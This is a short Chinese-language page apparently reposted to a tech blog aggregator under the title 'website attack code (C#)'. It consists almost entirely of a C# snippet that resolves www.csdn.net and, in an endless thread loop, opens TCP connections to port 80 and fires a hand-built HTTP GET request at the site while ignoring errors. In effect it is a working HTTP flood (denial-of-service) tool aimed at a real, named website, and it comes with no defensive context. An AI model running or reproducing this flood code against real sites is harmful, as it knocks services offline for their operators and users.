您的位置:首页 > 运维架构 > 网站架构

网站攻击代码(C#)

2014-12-29 22:07 29 查看
IPHostEntry ipHost = Dns.GetHostEntry("www.csdn.net");

IPAddress ip = ipHost.AddressList.Where(i => { return i.AddressFamily.Equals(AddressFamily.InterNetwork); }).First();

StringBuilder sb = new StringBuilder();

//http://www.baidu.com/img/baidu_sylogo1.gif

sb.AppendLine("GET /img/baidu_sylogo1.gif HTTP/1.1");

sb.AppendLine("Accept: */*");

sb.AppendLine("Accept-Language: zh-CN");

sb.AppendLine("Content-Type: application/x-www-form-urlencoded");

sb.AppendLine("User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ZHCN)");

sb.AppendLine("Accept-Encoding: gzip, deflate");

sb.AppendLine("Host: www.csdn.net");

sb.AppendLine("Connection: Keep-Alive");

int count = 0;

#region 线程

{

Thread ths = new Thread(() =>

{

while (true)

{

for (int i = 0; i < 10; i++)

{

try

{

Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP);

socket.Connect(new IPEndPoint(ip, 80));

byte[] sendData = Encoding.UTF8.GetBytes(sb.ToString());

socket.Send(sendData);

//byte[] recive = new byte[1024];

//while (socket.Receive(recive) != 0)

//{

// Console.WriteLine(Encoding.UTF8.GetString(recive));

//}

socket.Shutdown(SocketShutdown.Both);

socket.Close();

count++;

}

catch { }

}

Console.WriteLine(count.ToString());

}

});

ths.Start();

}

#endregion
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: